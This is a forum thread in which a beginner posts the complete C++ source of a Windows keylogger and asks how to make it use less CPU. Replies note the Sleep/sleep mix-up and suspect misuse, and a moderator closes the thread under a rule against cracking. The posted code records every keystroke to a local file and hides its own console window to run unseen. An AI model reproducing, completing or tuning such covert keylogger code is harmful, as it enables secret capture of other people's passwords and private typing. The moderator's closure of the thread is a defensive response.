How to get (sleep) to work with a program?

This is a discussion on How to get (sleep) to work with a program? within the C++ Programming forums, part of the General Programming Boards category; Hello Cprogramming.com, this is my first post, and hopefully not my last post. I am fairly new to C++ and ...

  1. #1
    Registered User
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    Aug 2010
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    Question How to get (sleep) to work with a program?

    Hello Cprogramming.com, this is my first post, and hopefully not my last post. I am fairly new to C++ and the whole programming game, but I would really like to learn it.

    I saw a video the other day that helped me make a basic Key Logger. Yes, I know that this can be frowned upon, but I promise I won't use it against anyone over the internet! The issue that I was having was when the program was running, my computer was getting really noisy, so I assumed the CPU was being used alot. I heard about this (sleep) function that could help me out, but I don't know how to attatch it.

    Here is my code:

    Code:
    #include <iostream>
    using namespace std;
    #include <windows.h>
    #include <Winuser.h>
    #include <dos.h>
    
    int Save (int key_stroke, char *file);
    void Stealth();
    
    int main()
    {
        Stealth();
        char i;
        
        while (1)
        {
           for(i = 8; i <= 190; i++)
           {
              if (GetAsyncKeyState(i) == -32767)
                sleep(50);
                Save (i, "LOG.TXT");  
            }      
        }
        
        system ("PAUSE");
        return 0;
    }
    /* ********************************************** */
    /* ********************************************** */
    int Save (int key_stroke, char *file)
    {
        if ( (key_stroke == 1) || (key_stroke ==2) )
            return 0;
            
        FILE *OUTPUT_FILE;
        OUTPUT_FILE = fopen(file, "a+");
        cout << key_stroke << endl;    
        
        if (key_stroke == 8)
            fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]\n");
        else if (key_stroke == 32)
            fprintf(OUTPUT_FILE, "%s", " ");
        else if (key_stroke == 64)
            fprintf(OUTPUT_FILE, "%s", "[==at==]\n");    
        else if (key_stroke == VK_TAB)
            fprintf(OUTPUT_FILE, "%s", "[TAB]\n");
        else if (key_stroke == VK_SHIFT)
            fprintf(OUTPUT_FILE, "%s", "[SHIFT]\n");
        else if (key_stroke == VK_CONTROL)
            fprintf(OUTPUT_FILE, "%s", "[CONTROL]\n");
        else if (key_stroke == VK_ESCAPE)
            fprintf(OUTPUT_FILE, "%s", "[ESCAPE]\n");
        else if (key_stroke == VK_END)
            fprintf(OUTPUT_FILE, "%s", "[END]\n");
        else if (key_stroke == VK_HOME)
            fprintf(OUTPUT_FILE, "%s", "[HOME]\n");
        else if (key_stroke == VK_LEFT)
            fprintf(OUTPUT_FILE, "%s", "[LEFT]\n");
        else if (key_stroke == VK_UP)
            fprintf(OUTPUT_FILE, "%s", "[UP]\n");
        else if (key_stroke == VK_RIGHT)
            fprintf(OUTPUT_FILE, "%s", "[RIGHT]\n");
        else if (key_stroke == VK_DOWN)
            fprintf(OUTPUT_FILE, "%s", "[DOWN]\n");
        else if (key_stroke == 190 || key_stroke == 110)
            fprintf(OUTPUT_FILE, "%s", ".");
        else 
            fprintf(OUTPUT_FILE, "%s", &key_stroke);
        fclose(OUTPUT_FILE);
        return 0;
    }
    /* ********************************************** */
    /* ********************************************** */
    void Stealth()
    {
        HWND stealth;
        AllocConsole();
        stealth = FindWindowA("ConsoleWindowClass", NULL);
        ShowWindow(stealth,0);
    }
    Thanks alot, RialnisMada!

  2. #2
    Registered User
    Join Date
    Mar 2007
    Posts
    416
    Sleep() is not the same as sleep().

  3. #3
    Registered User
    Join Date
    Aug 2010
    Posts
    5
    True that, but I'm pretty sure people understand what I mean...

  4. #4
    a_capitalist_story
    Join Date
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    Posts
    2,648
    I smell a keylogger...

  5. #5
    Registered User
    Join Date
    Aug 2010
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    5
    Honestly? I said in the description that I'm making a key logger. I know it's not cool to some people, but I think this is a big accomplishment, so can anyone help me or not?!

  6. #6
    C++ Witch laserlight's Avatar
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    Singapore
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    Unfortunately, despite the good intentions, I believe that this goes against one of our forum guidelines:
    5. Messages relating to cracking, (erroneously called "hacking" by many), copyright violations, or other illegal activities will be deleted. Due to the overlapping boundaries of code with malicious intent, and other legitimate uses of it, the moderators will assess each potential infraction on a case by case basis.
    *thread closed*
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